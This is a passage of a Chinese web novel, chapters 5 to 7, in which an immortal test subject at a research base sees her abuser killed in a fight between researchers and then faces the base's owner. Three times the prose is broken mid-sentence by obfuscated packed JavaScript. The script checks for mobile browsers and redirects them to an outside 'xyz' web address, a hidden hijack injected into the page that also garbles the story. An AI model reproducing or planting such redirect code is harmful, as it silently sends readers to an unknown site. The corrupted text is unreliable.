画面一转,另一个火柴人突然出现,开始争夺它,两人把红色的东西撕扯成两瓣,分别吃了下去。 兰落的心脏开始微弱跳动,似乎出于本能,她立马明白了那颗红彤彤的东西,就是自己的心脏。 ——准确来说,是自己和兰升的心脏。 原来不死之心,曾经是一个整体吗? “合二为一,合残为整,不死不休。” 合二为一? “合二为一……合二……为一……” “扑通——” 兰落的心脏恢复了正常的跳动,后脑血液凝固,断裂的肋骨开始缓慢自我修复。 她躺在地上,像一具安静的尸体。 怪不得…… 怪不得她从小就看兰升不顺眼,怪不得她面对兰升时总是有强烈的进攻欲,原来如此。 原来她的心脏,一直在渴望残缺的另一半。 那兰升呢? 有没有很多个瞬间,会突然想要撕裂她的胸腔,挖出她的心脏? “哈哈哈哈哈哈哈哈……”兰落躺在血堆里,笑得浑身颤抖,和初入基地的温顺少女判若两人。 等恢复了一些力气,能够勉强站起身了,兰落就颤颤巍巍地走到衣柜边,从一模一样的几件制服里挑了套干净的换上,用梳子随便拢了一下头发,盖住后脑的伤痕,双手插兜晃到了走廊上。 她漫无目的地晃到了大厅,在大厅最显眼的位置茫然地左顾右盼,宽大的制服和嘴角的淤青让她看上去像迷路的病弱少女,毫无攻击性。 面包怪正在不远处,背对着她捣鼓电子屏幕,身形挺拔,神色认真,专注程度堪比陆观在场。 兰落状似无意地抬头了眼,密集的机械眼正在勤勤恳恳地工作。 她要收回之前的想法,和花子比起来,面包怪的演技似乎略胜一筹。 兰落故意加重了脚步,一瘸一拐地往前走。 面包怪听到脚步声,皱眉转身:“这个时间任何人都不能在外……” “……你为什么出来!” 看见是兰落,面包怪加重语气,隐晦地瞪她一眼。 兰落好像被吓到了,浑身轻颤,双手护在胸前:“对不起……” 她一边道歉一边一瘸一拐地后退:“我只是想……” “站住!”面包怪快步上前,想要制止她。 兰落惊恐地瞪大双眼,控制不住后退。 “哎!” “砰!” “啊!”瘦弱的女孩狠狠撞在金属餐车上,整个上半身扑倒在餐车扶手上,乱糟糟的头发盖住了上面的食物又飞快甩开。 餐车滑轮滚动,兰落失去支撑,重重跌倒在地。 面包怪站在两步开外的地方,脸上的怒火都快掩饰不住:“不长眼!” 兰落看见他紧握的拳头,浑身都瑟缩了一下,细细的胳膊撑在地上,露出上面的淤青:“对不起,我只是想出来找找有没有伤药。” 面包怪瞄了一眼机械眼:“做手术受伤无可避免,你现在不能用药。” 他特意强调了“做手术”,似乎在暗示兰落不准把伤口的来源说出来。 兰落会意,小声解释:“是,我知道了。我刚刚不是故意的,是伤口太疼,站不稳了。” 面包怪的拳头松了又握。 “您大人有大量,”兰落站起身,小心翼翼往后退,“别跟我计较了。” 面包怪拳头捏得紧紧的,咬牙切齿:“嗯,回去吧,好好休息。” 兰落闻言,像得到赦免一般松了一口气,拖着伤腿原路返回。 转角处,她似乎没力气了,扶着墙壁缓了缓。 她的余光里,面包怪在餐车上挑挑拣拣,把沾了血的面包扔掉了。 可惜了,兰落垂下眼睛。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785881|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她不敢多留,慢慢朝前走,偷偷观察着面包怪,他似乎被恶心到了,竟然把剩下的面包全部丢掉,只拿起了边上的一盒牛奶。 真浪费。 兰落不再多看,低着头走路。 没走几步,她的视线里就出现了一双一尘不染的鞋子。 兰落的视线顺着鞋子往上,是祝见尘。 他站在不远处,白大褂依旧敞开,露出里面的衬衫。 兰落心中一跳,不动声色发问:“你怎么在这儿?他们说现在不能外出。” “我不听他们的。”祝见尘嗓音有些飘忽,上半身藏在阴影里,让人看不清神色。 这还是兰落第一次听到他老实回答问题。 “哦。”她不想多留,一瘸一拐地打算绕过祝见尘。 祝见尘一言不发,像个雕塑一样看着她步履蹒跚的样子。 “不疼吗?” 两人擦肩时,“雕塑”突然隔着衣服握住兰落的右臂,幽幽发问。 兰落吓了一跳:“你又忘了我的异能了吧。” 祝见尘松开她的手臂,倚着墙说:“嗯。抱歉,忘了。” 不对劲,他现在好正常…… 兰落心里忍不住涌起怀疑,但她身体还在修复中,已经没精力管祝见尘了。 反正他脑子本来就有毛病,随便他吧。 兰落没理他,尽量自然地往回走,悄悄掀开袖子看了一眼。 刚刚祝见尘握住的地方刚好是一处伤口,防人之心不可无,如果伤口有不对劲的地方,她回房之后要想办法把伤口重新撕开。 没办法,他太正常了,正常得不正常,她没办法不怀疑他。 “对了,” 祝见尘突然叫住她:“我很好奇,既然你有不死异能,那假设你中了毒,毒药是不是对你无效?还是说你会先毒发再愈合?” 兰落扣了扣手臂上的伤口:“你还挺有好奇心的,难道给我下毒了?” 祝见尘耸耸肩,跟上她:“怎么会?不要把人想得那么坏,我对你很好了吧。” 兰落不置可否,咬着牙继续走。 烦死了,这人阴魂不散的,害她没办法放松。 “好无聊,”祝见尘双手插兜,用同样的龟速跟在她身后,“我来给你检查身体吧。” “不用。”兰落皱眉,努力加快速度。 检查有屁用,又不肯给她药。 祝见尘像聋了一样:“不行啊,职责所在,不然叶飞告状怎么办?我最讨厌告状的人了。” 叶飞就是那个趾高气昂的女研究员,据兰落观察,她在基地的地位应该是最高的。 虽然大家都不太服。 “好了,不许动!” 兰落身后传来祝见尘兴致勃勃的声音。 一把冰冷的器械抵在了她的后脑,兰落心里警铃大作,缓缓举起双手,窝窝囊囊的:“我没动。” 祝见尘手指微动。 “滴!您的体温是,39.2℃。” 电子女声响起,兰落听到后怔了怔,摸上自己的额头。 好像确实有点烫,怪不得一直很没力气。 体温枪拨开了她后脑的发丝,上面狰狞的血洞藏也藏不住了。 “这是什么?” 兰落把头发藏回去:“没什么。” 祝见尘没说话,手指一翻体温枪就消失了。 “走!我们去找叶飞告状。” 他好像很激动,笑嘻嘻地说完就扯着兰落朝另一个方向走去。 ……不是最讨厌告状的人吗? 不对—— 告什么状啊? 他到底知道多少啊? 5. 上报 兰落被祝见尘扯着,跌跌撞撞地朝叶飞的休息室走。 要说他关心兰落吧,扯着她的力气可不小,兰落几乎半被拖着往前走。 要说他不关心兰落吧,又偏要大张旗鼓去告状,替她讨公道。 “你是不是唯恐天下不乱?” 兰落想了半天,得出这个结论。 给叶飞增加工作,给面包怪找麻烦,这就是祝见尘的目的吧? 很无聊。 “砰!” 祝见尘没回答,一脚踹上了面前的金属门。 门板纹丝不动,兰落没忍住笑了一声。 “不许笑。”祝见尘好像没觉得多丢人,随口警告了一句就老老实实按门铃了。 叶飞出来得很快,眼镜架在脑门儿上,白大褂一丝不苟。 “什么事?”她扫了一眼兰落,语气压着不耐烦。 祝见尘把兰落朝叶飞面前推:“自己看。” 兰落安安静静站着,下垂的眼睛露出一丝不安和局促。 她的样子太正常,叶飞没看出什么问题,皱着眉头不耐烦地重复:“到底什么事,说。” 祝见尘好像听不出叶飞的烦躁,扳着兰落的肩膀把她转了个圈,拨开她后脑勺的头发对准叶飞:“看见没?这么大个窟窿,要是脑子小点,都能直接掉出来了。” 祝见尘一边说一边啧啧称奇,语气里竟然有几分遗憾。 兰落正对着他的胸膛,仗着没人看得见自己,无声骂了句脏话,低着头翻白眼。 只是这幅垂头丧气的模样落在外人眼里,就成了被欺凌的柔弱。 叶飞正了正神色,凑近看她的伤口,又撸起她的袖子粗略看了两眼:“怎么弄的?” “我怎么知道?”祝见尘退了两步,观察着兰落的神色,“我半路看她没精打采的,随便给她量了个体温,就发现她脑子烂了。” 兰落怯怯地冲他笑:“您真是神医。” “去开检查室,”叶飞把眼镜放下来,“给她做个全身检查,我去读机械眼。” “遵命。”祝见尘没什么诚意地说。 叶飞已经走了几步,闻言回头看他一眼,眼神充满怀疑:“你最好没安坏心。” 祝见尘不理她,弯腰把脸凑到兰落跟前,非常绅士地伸出一只手:“请吧,可怜的兰落患者。” 兰落也不理他,绕过祝见尘循着记忆往检查室走,心里烦躁得要命。 她不是很想把这件事闹大,面包怪是研究员,她只是实验品,想从明面上讨公道简直是异想天开,她只能偷偷下手。 闹大了,对她来说很不利。 兰落躺在仪器里,皱着眉头看祝见尘在隔间外面一脸凝重地操作机器。 他不会连检查仪都不会用吧? 陆观就这么缺钱,非要找这种人滥竽充数? 兰落躺了好一会儿,祝见尘的声音才传进来:“好了。” 她刚要起身,祝见尘又开口了:“要不……你先躺着吧。” “不然我会觉得一具尸体站起来了。” 兰落摸了摸自己的后脑勺:“有这么严重?” 她自己感觉不出来,怀疑祝见尘只是单纯爱夸张罢了。 他刚才还说她脑子要掉出来了呢。 “感觉可以像死鱼一样把嘴和脑袋串起来。” 看吧,又开始夸大其词了。 兰落不理他,坐在检查床上,盘着腿恢复精力。 祝见尘也不烦她了,坐在隔间外写写画画。 这幅场景莫名和第一次见面时重合了,兰落顶着后脑勺的洞,盯着金属门。 如果这时候叶飞从门口进来,骂祝见尘是野种的话,这幅画面应该会更舒心。 门确实开了,叶飞进来了,捧着一块电子屏眉头紧锁。 “我会上报。”她没看在场的两个人,在屏幕上戳戳点点,没头没脑说了一句。 祝见尘看了一眼兰落:“上报什么?” 兰落心脏抽动两下,无意识重复:“上报什么?” 叶飞看她一样,眉头松了松:“你虽然是实验品,但只需要配合必要的实验研究,任何人都没有权力欺负你。” 兰落面露思索,茫然地点了点头。 叶飞补充:“不用担心,这是陆先生亲口说过的话,这件事上报后一定会严肃处理,你先说说你的情况。” 兰落知道叶飞想多了,她不是在担心处理结果,只是在回忆自己有没有露出破绽。 面包怪只喝了牛奶,把面包扔哪去了来着? 他们会不会谨慎到连面包都要检查一遍? 应该……不会吧。 “傻了啊?”祝见尘敲了敲玻璃,“姓陆的要给你做主呢,快点有怨报怨有仇报仇吧。” 兰落低头:“他要抓我做实验,祝见尘觉得我暂时不适合做实验,和他起了争执。后来他就来到我的房间把我打了一顿,说明天要把我剖了。” “我太……”兰落顿了顿,“我伤得太重了,害怕来不及恢复,就想出门找点药,恰好遇到祝见尘,他发现了我的伤口,就带我来找你了。” 她差点脱口而出“我太疼了”,幸好脑子反应过来了,不然就是演技滑铁卢。 叶飞用电子屏读取了兰落的身体检查数据,眉头越拧越紧。 祝见尘撑着下巴坐在一边,事不关己高高挂起,甚至有心情反驳兰落:“你怎么一个劲儿把我供出来?” 兰落没理他,沉浸在自己的演技里:“叶教授,我已经很配合你们的工作了,既然不能给我用药,起码要给我一些恢复的时间吧?不然我真的不知道该怎么挺下去。” “我和我的哥哥虽然同有异能,但我和他不一样,他的能力比我强很多,身体素质好,愈合速度快,而我只不过是不会痛而已,真的没那么大的本事频繁进手术室。” 兰落说着说着,甚至带上了一点泣音,俨然是个可怜无助的柔弱小白鼠。 叶飞欲言又止,最后只是扶了扶眼镜,什么也没说。 祝见尘隔着玻璃看她,很捧场地说:“哇,那为什么不抓你哥来研究?” 兰落本来已经演完了,没想到有人接戏,清了清嗓子找回虚弱的声音:“因为我父母舍不得他,反正我不会疼,受伤了也没有关系……” “行了,”叶飞似乎忍无可忍,“先出来,我已经上报了,明天就会有专人处理。” “至于药,”她不看兰落,低头敲着电子屏,“上面不让你用,你再忍忍吧。” 兰落慢吞吞下床,扶着玻璃准备出去。 “咚!” 大门突然一声巨响,面包怪喘着粗气站在门口,眼神凶光毕露。 他的左手捏着一盒空了的牛奶,纸质的盒子竟然在逐渐石化。 面包怪的异能? 兰落和祝见尘被他发癫的状态吓了一跳,隔着玻璃对视一眼,目光里充斥着对对方的谴责。 兰落的眼睛里写着:“要不是你乱告状,至于沾上这傻叉吗?” 祝见尘的眼睛里写着:“要不是为了帮你,至于惹上这麻烦吗?” 两人收回视线,各自打量着面包怪。 兰落庆幸自己还躲在玻璃隔间内,比他们安全一点。 她的视线频频落在牛奶盒上,观察着盒子的石化状态。 祝见尘好像有异能,面包怪肯定有异能,这里的实验体也有异能,比如花子,速度非常快。 那这里干脆直接叫异能研究所算了,省的像她一样初来乍到的人看不明白他们的实验重心。 兰落不动声色往后退了几步,力求在不引人注目的情况下离他们最远,一边退一边观察叶飞。 她好像一点都不在意,还在捣鼓电子屏。 “叶飞!”面包怪怒喝,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785882|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至于吗!这么点事就要告状!” “天天说老子狗腿,我看你才是最忠心的那条狗!” 叶飞放下电子屏,扶了扶眼镜:“你也知道怕?欺负实验体的时候怎么不怕?” “为了一个破实验体惊动上面,对谁都没有好处!别忘了,陆先生急着要结果,像你们一样慢吞吞的,什么时候能给出满意的结果?我也是在为实验室分忧!” 面包怪手里的牛奶盒已经彻底变成了一团石头,他恶狠狠地示弱:“这样,我保证再也不管这个实验体,这次的事情你们就当不知道,大家各退一步,以后井水不犯河水!” 叶飞勾唇:“好可惜,晚了。” “你最爱摇尾巴的陆先生,已经收到你殴打他最看重的实验体的视频了哦。”她难得笑起来。 面包怪闻言瞳孔放大,牙齿咬得咯吱响:“叶飞!你个贱人!贱人!” 他整张脸都红了,脖子更是粗了一圈,青筋绕着脖子一跳一跳的。 兰落敏锐地注意到他蓄力的手臂,小心翼翼继续往后退,几乎把自己藏在了机器后面。 祝见尘原本倚着墙抱臂看戏,余光一直注视着她,看她躲得远远的,无声嘲笑:“怂。” 兰落没理他,安安静静躲着。 “有仪器的地方禁止打斗,”叶飞看了一眼机械眼,“你也不想罪上加罪吧。” 面包怪哼哧哼哧喘着粗气,嘴唇涨成紫红的,像中了毒似的。 “我去你爹的罪!几个畜生,打就打了!我他爹的连你一起打!” 他怒吼一声,抡圆了胳膊把石化的牛奶盒直直朝着叶飞扔去。 兰落心脏怦怦跳,开始兴奋起来了,目不转睛地盯着叶飞,想看看她的异能是什么。 “唰!” “啪!” 细长的鞭子精准地击碎了那一团石头,留下几道残影。 碎石啪嗒落地,兰落睁大双眼,没想到叶飞竟然竟然能从一丝不苟的白大褂里掏出那么长一根鞭子。 更没想到她没用异能,纯靠武力。 “废物,”叶飞站得笔直,“真以为嫁接来的能力就是自己的了。” 嫁接? 异能还可以嫁接? 那被用来嫁接的异能者,嫁接后还有异能吗? 兰落思考着,一时没注意到面包怪是什么时候冲到叶飞面前的。 “你一个没有异能的废物!”他双目爆红,鼻腔流出血丝,“去死!” 叶飞一个后撤,利落地躲开面包怪。 祝见尘刚刚还在说兰落怂,这时已经不知道跑哪去了,兰落扫了两眼,都没能发现他。 兰落正找着人,肩膀突然被拍了一下:“诶,你说谁能赢……” 她心脏几乎停止跳动,下意识一个肘击。 “嗷!好痛!” 祝见尘的嚎叫在她身后响起。 兰落大吃一惊:“你怎么进来的?!” “嘶……”祝见尘揉着胸口,“偷偷进来的。” 这不是偷偷不偷偷的问题吧? 隔间门被叶飞和面包怪堵的严严实实,难道他是走到他们中间,让两个人先停一下,等他开门进来了再继续吵? “你……” “砰!” 兰落刚想问他的异能,隔间外就出了状况。 叶飞一鞭子抽在了面包怪的胸口,他的白大褂顿时裂开,胸膛出现一条血红的鞭痕。 面包怪被打得后退好几步,撞在墙上,哼哧哼哧喘着粗气,嘴角溢出血丝。 “这么厉害?”祝见尘小声说。 兰落抠着自己的伤口,一眨不眨盯着面包怪。 “三……” “二……” 兰落在心中默数:“一。” “噗——!” 面包怪突然喷出一口血,瞪着血红的眼珠倒在了地上。 6. 治疗 面包怪趴在地上,胸口的鞭痕渗出暗色的血液,双目圆睁,通红的眼珠子正对着兰落和祝见尘。 “死了?” 祝见尘用气音问,整个人都朝兰落身后缩了缩。 兰落缓缓走上前,语气听不出什么波澜:“不知道,可能吧。” 隔间外的叶飞低头看了看手里的鞭子,皱着眉头把细鞭卷了起来收进口袋。 兰落推开金属门,叶飞听到动静转头看向她,还有她身后的祝见尘。 “带她去治疗仓吧,用我的份额。”叶飞越过兰落,对着祝见尘说。 祝见尘耸耸肩:“他怎么办?死了没?” 叶飞蹲下身子探了探:“好像没气了。” 祝见尘闻言,也凑上去踢了踢他的脑袋,像踢弹簧似的:“还没硬呢。” 兰落默不作声看着他们旁若无人的表演,垂着头装不存在。 祝见尘踢完面包怪,嫌弃地后退两步,脚下咔嚓踩到了一颗小石子。 兰落顺着他的视线看过去,那是面包怪手里的牛奶盒石化后的碎片,已经成了看不出面貌的碎石。 祝见尘看了兰落一眼:“怎么,好奇了?” 兰落仍旧低着头:“这是嫁接的能力?” “好像是吧,”祝见尘毫不在意地把碎石碾得更碎,“他以前剖了不少石化异能,应该是情有独钟。” 祝见尘说完,甚至还冷笑了两声。 像个神经病。 兰落不再理他,悄悄看面包怪的死状。 “你们确定他死了吗?”她颤声问,“不需要抢救一下吗?” 叶飞一直在通讯器上捣鼓着,闻言不耐烦地说:“不用你管。” 说完就更不耐烦地吩咐祝见尘:“祝……研究员,立即带她离开。” “走呗。”祝见尘虚虚勾着兰落的后领,假装要强行带她离开。 兰落脚步轻挪,顺从地跟着祝见尘走了几步。 空气格外安静,只有两道沙沙的脚步声在以同样的频率响起。 走至门口,兰落突然抬手扒住门框:“这件事你要怎么处理?” 叶飞正反手撑着桌子,盯着地上的尸体发呆,听到兰落的话头也不抬:“已经上报了,放心,上面惩罚不了死人,但也许会给你相应的补偿,不会亏待你。” 她在说兰落挨打的事情。 “我是问,”兰落半张脸藏在门外,“他死了这件事,会怎么处理?” “扣工资喽。”祝见尘倚着门框,吊儿郎当地回答。 兰落没理他,一双水润的眼睛在叶飞和尸体之间怯怯地回转。 叶飞直起身子,平淡开口:“如实上报,悉听尊便。” 兰落不说话了,安静地退出去,跟着祝见尘来到治疗仓,她还是第一次知道基地有这种好东西。 治疗仓问世很多年了,但由于体积过大,价格昂贵,维护成本高,一般都是医疗机构或者集团采购,家庭和个人很少会特意购买,所以兰落很少能用的上治疗仓。 她对治疗仓的唯一一次体验,还是小时候被压着给兰升输血最后当场昏死,不得不进入治疗仓。 没想到现在进治疗仓的原因更窝囊了。 兰落心里自嘲,乖乖躺进治疗仓,放松地闭上了眼睛。 虽然她也能慢慢自愈,但能借助外力为什么要靠自己? 再说了,这身伤也是基地带来的,是基地欠她的,迟早都要还。 只是,好像有点对不起叶飞了。 如果不是她主动把份额给自己,估计她现在还要躺在房间不知道猴年马月才能恢复呢。 但那又如何呢? 兰落冷漠地拉平嘴角。 叶飞随口送出来的治疗仓份额,对她来说,却是丢掉大半条命才能赢来的施舍。 兰升……你真该来体验一下这种日子。 想到兰升,兰落心里又是一阵暴躁。 她恶狠狠地掐着自己的大腿,抑制着狂跳的心脏。 “哎哎哎,”祝见尘突然凑过来敲了敲治疗仓的玻璃,“便宜不是这么占的啊。” “就算你想多体验体验治疗仓,也犯不着自残吧,得不偿失啊兰落小姐。” 他趴在玻璃上唠唠叨叨的:“你想想,你大腿本来就是好的,你偏要先把它掐坏,再让治疗仓治好它,这是不是南辕北辙东辕西辙?” 兰落被他说得心烦,一甩手不再掐自己,把双手交叠在胸口,用行动告诉他自己没有在自残。 祝见尘不说话了,支起身子,一手撑着下巴,一手盖在玻璃上,静静坐在治疗仓旁边。 他的手铺在玻璃上,刚好挡住了兰落的视线,她抬眼看见的只有他的掌心和手肘。 她嗅着治疗仓里微湿微凉的气体,一边休息一边无聊地给他看手相。 事业线很乱,看来这个关系户做的也不太成功。 兰落渐渐把兰升抛在了脑后,周围的光线不知何时暗了下来,她活跃太久的大脑终于回归宁静,陷入久违的安眠。 等再次醒来,兰落整个人就像重获新生一般清醒有力气。 她转了转手腕,又动了动腿,各处都很灵活,一点也没有昨天动弹艰难的感觉。 基地的治疗仓还挺好用的,怎么就是舍不得给她用呢。 兰落打个哈欠,在心底鄙夷陆观的黑心和小气,把注意力转向治疗仓外。 治疗仓的玻璃上趴着一个人影,人影的脸埋在了臂弯里,只有乱糟糟的头发垂在玻璃上,随着他的呼吸一动一动的。 兰落看着这头微微泛着棕色的短发就认出了祝见尘,倒不是她多熟悉他,只是在一众严谨不苟的研究员里,他散漫的头发太过引人注目,想不认识都难。 她对着玻璃上祝见尘耳朵的位置猛敲了几下,直到把人敲醒。 祝见尘捂着耳朵一脸茫然地趴在玻璃上,和不耐烦的兰落隔空对视。 “怎么了?”他把身子抬起一点,没让自己的五官贴在玻璃上。 兰落由衷感恩他没凑太近,压着不耐烦开口:“开门,让我出去。” 祝见尘听完,不知道是不是脑子还没清醒过来,愣愣地看了她好几秒,然后才后知后觉地嗯了一声,乖乖找开门键。 他太正常了,这太不正常了。 兰落觉得他的脑子可能偶尔会出现一下,所以他才会间歇性变得正常,等脑子没了就继续不正常了。 治疗仓会释放修复液体,她从治疗仓里起来的时候,衣服已经湿哒哒的了,连发梢都在滴水。 “你要不要先洗个澡?”祝见尘不知从哪拿了个干毛巾,轻手轻脚裹在她脑袋上。 兰落缩了一下,自己接过毛巾:“我回房间洗。” “哦。” 兰落一边擦头发一边往外走,身后有祝见尘哒哒的脚步声,可能是顺路。 她没多在意,慢悠悠来到大厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785883|174891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想从大厅里穿过去。 一路上都没什么人,整个基地安静得可怕,兰落心里涌出一丝不好的感觉,回头看到祝见尘不远不近的身影才稍微安心一点。 至少还有活人。 总算走到了岔路尽头,再往前一步就是硕大的大厅了,那里本来应该有面包怪手忙脚乱的身影。 兰落在岔路尽头停下脚步,面无表情地看着大厅里的景象。 以叶飞为首的研究员又穿上了全副武装的防护服,静悄悄站在大厅两侧。 而大厅中央的沙发上,坐着一个西装革履的男人。 “陆先生。” 兰落敷衍地问候了一句。 陆观翘着二郎腿坐在原位,语气温和:“还以为你已经把我忘了呢。” 兰落扯起一个笑:“怎么会。” “过来,兰落。”陆观伸出一只手,对着她勾了勾。 兰落清楚地看见他的手指上有一道细细的伤口,鲜红鲜红的,似乎很新鲜。 她垂着头走过去,离陆观越来越近。 身旁不知道哪一个研究员突然“啧”了一声,用手势暗示她停下,被面罩覆盖的脸上写着急切。 兰落知道这是嫌弃自己离陆观太近了,浑身治疗仓的脏水,小心沾到陆先生身上。 “还没洗澡,怕脏了您的周围。”兰落在离陆观几步远的地方停住脚步,小声解释。 陆观抬眸看了一眼发出声音的研究员,没说什么,把翘着的腿放下,继续朝着兰落伸手。 “怕什么,过来。” 兰落垂头看着他苍白修长的手指,和中指上那道刺眼的伤口,很懂事地问:“您的手怎么了?” “啊,”陆观挑挑眉,“看看,你比他们聪明多了,这么快就发现了。” 他的语气里隐隐透露着一丝欣慰,兰落配合地扬起一个不好意思的笑,心里已经把他分尸了一万次。 死手在她眼前晃悠那么久,不就是为了让她发现伤口吗? “所以啊,”陆观摸了摸自己的伤口,“小兰落,你可要快点配合研究,这样,大家就不会为这些小伤口烦恼了对不对?” 他淡笑着盯着兰落,一副心怀大爱的样子。 兰落心里烦躁,面上却不显,乖乖认怂:“是,我会的。” “好孩子。” 陆观敷衍地夸奖她,接着转向叶飞等人的方向:“事情我都了解了,他咎由自取,随意对我的实验体动手,死了也好,我不追究。” 不追究……兰落悄悄松了一口气。 “但是,”他揉了揉太阳穴,“叶飞,你管教不力,治下不严,该罚。” “这还是我第一次因为研究员斗殴事件亲自出马呢,叶飞,你们真是好样的。” 叶飞的声音透过面罩闷闷的:“随意处置,悉听尊便。” 真是个犟种,兰落想。 如果是花子在这里,肯定会油嘴滑舌替自己辩解,争取减少惩罚。 大厅在叶飞话音落地后陷入一阵沉默,陆观也不说话,敲着手指不知道在想什么。 兰落打了个哆嗦,她身上全是湿哒哒的水渍,大厅温度又低得可怕,不冷就怪了。 陆观没注意到这种细节,倒是叶飞隐晦地看了她一眼。 兰落的手腕上传来一阵暖意。 她有些惊讶地回头,是祝见尘,他伸手圈住了自己的手腕。 “走吧,洗澡去。” 7. 哥俩 祝见尘的声音恢复了往常的吊儿郎当,细听却能发现藏不住的疲惫感。 趴在治疗仓上睡了一夜,能不疲惫吗? 陆观好像回过神了,微微皱眉:“你倒是舍得出现了。” 祝见尘没理他,指尖无意识摩挲兰落的手腕。 “防护服呢?”陆观追问。 祝见尘散漫开口:“不知道您大驾光临,忘记穿了。” 陆观靠着椅背:“那看来,叶飞要罪加一等了。” 叶飞不言不语不分辩,似乎说的不是自己。 祝见尘转身欲走:“我是什么人你不清楚吗?就算是您陆先生亲自来,我也不见得服管,少迁怒别人了。” “也是,”陆观点点头,“野生的,总归是不懂事。” 兰落感觉自己的手腕被用力捏住了,但只有一瞬。 原来他也会在意这个吗? 兰落偷偷瞄了祝见尘一眼,没从他的脸上看出什么不对劲。 “是啊,”祝见尘越过兰落,对着沙发上的陆观开口,“总好过家养的,体弱多病,弱柳扶风,连门都不敢出。” “哈。” 陆观站了起来,发出一声意味不明的笑。 兰落看着他越走越近了,心里有点无奈,她不想掺和到他们的家务事里,现在夹在两个人中间真的很尴尬。 祝见尘抓得很松,兰落悄悄一动就挣脱了,捂着手腕慢慢后退,给了他一个“你们慢慢玩”的眼色。 祝见尘看了一眼她的手腕,直接开口:“抱歉,你先回去洗澡。” 谢谢哈,要不是他们哥俩,她澡都洗一半了好不好? 兰落刚准备厚着脸皮走人,手腕就再次被握住了。 这次是陆观。 “怎么回事?被他拽疼了?” 他用两根手指轻轻拎起兰落的手腕,抬起来看了又看,没什么感情地说:“都红了,野小子不知轻重。” 兰落放下手,这次是真有些烦了,垂着头语速飞快:“没事,我又不会疼,不然也不会出现在这里了不是吗?” 陆观捻了捻手指,捏起毛巾一角盖在兰落半湿的头发上,松垮的毛巾几乎遮住她的大半张脸。 “这是有脾气了,”陆观隔着毛巾把手放在她的头顶轻轻揉了揉,“放心吧,我会给你开启治疗仓使用资格,以后基地的治疗仓随便你用,治疗药也是,都给你用最好的。” “这次是意外,以后不会发生了,对不对?” 他微微弯腰,注视着兰落半垂的眸子,眼里有假惺惺的笑意。 兰落把视线偏到一边,盯着祝见尘的脚下:“嗯。” 陆观听到兰落堵着气的回答,轻笑一声没有计较,直起身子重复:“你们说呢,对不对?” “对!” “是,明白了。” “没错!” “明白!” 此起彼伏的应和声在周围响起,这些全副武装的研究员都没了以往的傲气,态度谄媚又热情。 除了叶飞,她还是闷不吭声的,像个雕塑。 怪不得这种时候都不让实验体外出,要是被花子他们看到这些“长官”们点头哈腰的样子,以后哪还有半点威严? 兰落不耐烦地想着,无聊地盯着祝见尘的鞋尖,他的鞋子似乎也不符合着装要求? 视线里的鞋子动了动,兰落看着祝见尘在一众附和声里旁若无人地转身走了,也没想着把她也一块带走。 她抬头看着祝见尘挺拔的背影,还真有点羡慕了,反观自己,还被陆观控制在手心之中动弹不得。 迟早让他付出代价。 兰落心脏怦怦两声,暴躁的情绪又开始在心底翻滚。 简称——无能狂怒。 “叶飞,”陆观慢悠悠擦着兰落的头发,“你有意见?” 叶飞依旧目视前方:“没有。” “最好是这样。” 陆观似乎擦累了,松开兰落头上的毛巾,扯出手帕擦了擦手,这才不紧不慢坐下:“那这样吧,这里不需要你了,让张烈接手,你去二号报道吧。” “是。”叶飞还是没什么意见,飞快应答,兰落却从她的语气里听出浓浓的敷衍。 “哦,对了,”陆观补充,“到了二号你就不是组长了,记得服从安排,学习治下。” “是。”叶飞回答。 兰落看了她一眼,在全副武装的面罩下看不清她的表情,只能从她笔直的身姿看出她的高傲。 很……表里如一的人。 “张烈出列,其他人散了吧。” 陆观揉了揉太阳穴,叹一口气挥挥手。 名为张烈的男人激动难耐地来到陆观面前,胸膛抬得高高的,头颈却温顺地垂下去,像一条驯养得当的狗。 张烈……不知道这条狗爱不爱咬人,兰落来来回回扫视了他好几遍,也没什么印象。 在基地,实验体很少会接触到除了负责自己的研究员之外的人,所以那次面包怪来捉她做实验才会那么惹人怀疑。 “别看了,”叶飞站在兰落面前居高临下看着她,声音闷在面罩里,“他在等你呢。” 兰落顺着她指的方向看过去,果然看到走廊尽头有个人影正散漫地倚在墙壁上。 是祝见尘,他的身影很好认,既不过分壮硕也不过分清瘦,高挑挺拔,但总像没骨头似的到处倚着。 兰落跟叶飞道了谢,随手擦着头发朝祝见尘走过去。 她摸了摸自己的发梢,被这么一折腾已经干了一大半了,估计治疗液的结晶已经扒在头皮上,等下要好好洗一洗。 祝见尘手抄口袋注视着兰落,一直到兰落越过他都没开口说话。 兰落挑挑眉,不是等她吗? “你……” “给你……” 两人同时开口,同时愣了一下。 “给我什么?” 兰落先反应过来,挠了挠头发问他。 